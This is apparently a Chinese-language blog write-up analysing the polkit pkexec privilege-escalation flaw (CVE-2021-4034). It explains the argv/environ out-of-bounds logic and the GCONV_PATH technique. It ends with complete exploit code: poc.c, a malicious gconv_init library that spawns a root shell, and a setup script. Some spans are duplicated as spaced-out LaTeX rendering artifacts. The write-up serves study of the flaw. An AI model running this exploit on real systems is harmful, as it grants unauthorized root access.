0x0 漏洞简介
【产品描述】polkit 是一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯:控制决策集中在统一的框架之中,决定低优先级进程是否有权访问高优先级进程。
【影响版本】2009年5月至今的所有版本
0x1 环境配置
使用如下命令
sudo docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash
我是从这个docker环境中获取受影响版本的pkexec源码,把源码复制到主机中
sudo docker cp cvedebug:/root/polkit-0.105 ~/
为了方便调试,需要用polkit-0.105中的configure程序设定一下编译器的调试参数
./configure CFLAG="-g3"
此过程中可能会报一些依赖库找不到的错误,根据实际情况安装相应的依赖库即可,最后进行正常的编译安装
sudo make & make install
P S : 做 完 这 些 之 后 猛 然 发 现 d o c k e r 环 境 其 实 已 经 集 成 了 调 试 的 环 境 , 直 接 可 以 在 d o c k e r 环 境 下 完 成 调 试 。 毕 竟 已 经 在 自 己 的 机 器 上 做 了 这 些 工 作 , 于 是 接 下 来 的 分 析 也 是 在 我 的 机 器 上 进 行 的 , 就 没 用 d o c k e r 了 。 \textcolor{green}{PS:做完这些之后猛然发现docker环境其实已经集成了调试的环境,直接可以在docker环境下完成调试。毕竟已经在自己的机器上做了这些工作,于是接下来的分析也是在我的机器上进行的,就没用docker了。} PS:做完这些之后猛然发现docker环境其实已经集成了调试的环境,直接可以在docker环境下完成调试。毕竟已经在自己的机器上做了这些工作,于是接下来的分析也是在我的机器上进行的,就没用docker了。
0x2 漏洞分析
漏洞位置的代码片段 p o l k i t − 0.105 / s r c / p r o g r a m s / p k e x e c . c : 385 \textcolor{orange}{polkit-0.105/src/programs/pkexec.c:385} polkit−0.105/src/programs/pkexec.c:385
int
main (int argc, char *argv[]){
...
if (geteuid () != 0)
{
g_printerr ("pkexec must be setuid root\n");
goto out;
}
...
/*
* 循环计数i从0开始,循环解析用户请求的参数
* 根据这些参数做出不同的行为
*/
for (n = 1; n < (guint) argc; n++)
{
if (strcmp (argv[n], "--help") == 0)
{
opt_show_help = TRUE;
}
else if (strcmp (argv[n], "--version") == 0)
{
opt_show_version = TRUE;
}
else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0)
{
n++;
if (n >= (guint) argc)
{
usage (argc, argv);
goto out;
}
opt_user = g_strdup (argv[n]);
}
else if (strcmp (argv[n], "--disable-internal-agent") == 0)
{
opt_disable_internal_agent = TRUE;
}
else
{
break;
}
}
...
g_assert (argv[argc] == NULL);
path = g_strdup (argv[n]);//读取文件路径
if (path == NULL)
{
usage (argc, argv);
goto out;
}
if (path[0] != '/')
{
//根据文件名获取绝对路径
s = g_find_program_in_path (path);
if (s == NULL)
{
g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
goto out;
}
g_free (path);
argv[n] = path = s;
}
if (access (path, F_OK) != 0)//检查文件是否存在
{
g_printerr ("Error accessing %s: %s\n", path, g_strerror (errno));
goto out;
}
...
exec_argv = argv + n;//将argv[n]作为命令执行的参数,后续会执行这条命令
...
/*命令执行*/
if (execv (path, exec_argv) != 0)//path作为命令
{
g_printerr ("Error executing %s: %s\n", path, g_strerror (errno));
goto out;
}
}
- @line:4 可见pkexec必须在root权限下运行。
- @line:14
for
循环计数i从1开始,也就是说pkexec要求我们运行的时候至少带一个参数,否则会在 @line:47处跳到了 m a i n \textcolor{cornflowerblue}{main} main函数结束前的清理工作了。如果这个参数不是pkexec中定义的一些命令选项就会在 @line:41处跳出循环。 - @line:53 会将参数视作一个文件,并且寻找它的绝对路径,然后在 @line:65 处检查文件是否存在。(例:传入vim则会返回 / u s r / b i n / v i m \textcolor{orange}{/usr/bin/vim} /usr/bin/vim)这里是关键点,假设传入的path为 P A T H = n a m e = . \textcolor{orange}{PATH=name=.} PATH=name=.,并且保证当前目录下存在 n a m e = . \textcolor{orange}{name=.} name=.,且 n a m e = . \textcolor{orange}{name=.} name=.目录下存在文件file,那么函数 g _ f i n d _ p r o g r a m _ i n _ p a t h \textcolor{cornflowerblue}{g\_find\_program\_in\_path} g_find_program_in_path最终会返回 n a m e = . / f i l e \textcolor{orange}{name=./file} name=./file,这无疑是引入了一个新的环境变量!
- 省略中间一些环境变量的设置,最后在 @line:74处执行命令。
正常在命令行下运行某个程序,且不带参数时, a r g v [ 0 ] \textcolor{orange}{argv[0]} argv[0]就是运行程序的绝对路径, a r g v [ 1 ] = N U L L \textcolor{orange}{argv[1] = NULL} argv[1]=NULL。另外还有个环境变量参数 e n v i r o n [ ] \textcolor{orange}{environ[]} environ[],需要注意的是这两个参数在栈中是邻居关系, a r g v [ ] \textcolor{orange}{argv[]} argv[]在前, e n v i r o n [ ] \textcolor{orange}{environ[]} environ[]在后。但如果是使用 s y s t e m \textcolor{cornflowerblue}{system} system函数运行某个程序,且不带参数的话, a r g v [ 1 ] \textcolor{orange}{argv[1]} argv[1]将会越界读到 e n v i r o n [ 0 ] \textcolor{orange}{environ[0]} environ[0]。结合pkexec在 @line:74执行命令的操作,我们能够控制path和exec_argv两个参数。
所以接下来的问题就是如何通过设置环境变量来实现提权?下面需要补充一点额外的知识。
linux 的动态连接器ld-linux-x86-64.so.2 会在root身份下执行程序前清除一些敏感的环境变量
相关代码 g l i b c − 2.23 / e l f / d l − s u p p o r t . c : 321 \textcolor{orange}{glibc-2.23/elf/dl-support.c:321} glibc−2.23/elf/dl−support.c:321
void _dl_non_dynamic_init (void) { ... if (__libc_enable_secure) { static const char unsecure_envvars[] = UNSECURE_ENVVARS #ifdef EXTRA_UNSECURE_ENVVARS EXTRA_UNSECURE_ENVVARS #endif ; const char *cp = unsecure_envvars; while (cp < unsecure_envvars + sizeof (unsecure_envvars))//循环清除敏感环境变量 { __unsetenv (cp); cp = (const char *) __rawmemchr (cp, '\0') + 1; } #if !HAVE_TUNABLES if (__access ("/etc/suid-debug", F_OK) != 0) __unsetenv ("MALLOC_CHECK_"); #endif } }
在 g l i b c − 2.23 / s y s d e p s / g e n e r i c / u n s e c v a r s . h : 10 \textcolor{orange}{glibc-2.23/sysdeps/generic/unsecvars.h:10} glibc−2.23/sysdeps/generic/unsecvars.h:10中定义了敏感的环境变量
#define UNSECURE_ENVVARS \ "GCONV_PATH\0" \ "GETCONF_DIR\0" \ GLIBC_TUNABLES_ENVVAR \ "HOSTALIASES\0" \ "LD_AUDIT\0" \ "LD_DEBUG\0" \ "LD_DEBUG_OUTPUT\0" \ "LD_DYNAMIC_WEAK\0" \ "LD_HWCAP_MASK\0" \ "LD_LIBRARY_PATH\0" \ "LD_ORIGIN_PATH\0" \ "LD_PRELOAD\0" \ "LD_PROFILE\0" \ "LD_SHOW_AUXV\0" \ "LD_USE_LOAD_BIAS\0" \ "LOCALDOMAIN\0" \ "LOCPATH\0" \ "MALLOC_TRACE\0" \ "NIS_PATH\0" \ "NLSPATH\0" \ "RESOLV_HOST_CONF\0" \ "RES_OPTIONS\0" \ "TMPDIR\0" \ "TZDIR\0"
这些环境变量都有指定加载某个so库的功能。系统之所以要清除这些环境变量,是出于对低权限用户可能会修改这些环境变量让suid程序加载不受信任的so库引发安全问题的考虑。
回到本次漏洞程序中,pkexec给我们提供了系统环境变量的写入机会,所以也就造成了提权的后果。
0x3 漏洞利用
网上公布的POC利用到的环境变量是GCONV_PATH
,这对我来说是一个新的利用方式(只能说我太菜了),值得学习!
GCONV_PATH 和 glibc中的iconv系列函数相关,其中有个很重要的函数 i c o n v _ o p e n ( ) \textcolor{cornflowerblue}{iconv\_open()} iconv_open(),该函数的执行过程如下:
- 找到系统提供的gconv-modules文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的**.so**文件所在位置。
- 然后再根据gconv-modules文件的指示去链接参数对应的**.so**文件。
- 之后会调用 .so文件中的 g c o n v ( ) \textcolor{cornflowerblue}{gconv()} gconv()与 g o n v _ i n i t ( ) \textcolor{cornflowerblue}{gonv\_init()} gonv_init()函数。
GCONV_PATH能够允许用户定义自己的gconv-modules文件,gconv-modules文件格式如下:
module UTF-8// charset(字符集)// 字符集对应的文件名 1
利用的方法:
-
为了使pkexec能够寻找到path的绝对路径(请见pkexec:385:56),需在当前目录下:
- 创建两个目录
GCONV_PATH=.
和hack
,同时还要使得 a r g v [ 1 ] = e n v i r o n [ 0 ] = x x x \textcolor{orange}{argv[1]=environ[0]=xxx} argv[1]=environ[0]=xxx(自定义的文件名,要保证这个xxx是 .so文件)。 - 创建一个文件
GCONV_PATH=./hack
,赋予权限777。
- 创建两个目录
-
将自定义的gconv-modules文件放到hack目录下,定义gconv-modules的内容为:
module UTF-8// ATTACK// attack 1
-
编写&编译具体的EXP文件
0x4 EXP
poc.c:
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv)
{
char * const a_argv [] = { NULL};
char * const a_envp[] = {
"hack",
"PATH=GCONV_PATH=.",
"CHARSET=ATTACK",
"SHELL=xxx",
NULL
};
execve("/usr/bin/pkexec", a_argv, a_envp);
}
attack.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(){}
void gconv_init()
{
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/sh", a_argv, a_envp);
}
run.sh
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./hack'
chmod 777 'GCONV_PATH=./hack'
mkdir hack
echo "module UTF-8// ATTACK// attack 1">>hack/gconv-modules
gcc -fPIC -shared attack.c -o hack/attack.so
gcc poc.c -o poc
0x5 演示
0x6 参考
[1] https://blog.csdn.net/Breeze_CAT/article/details/122707460
[2] https://blog.csdn.net/qq_42303523/article/details/117911859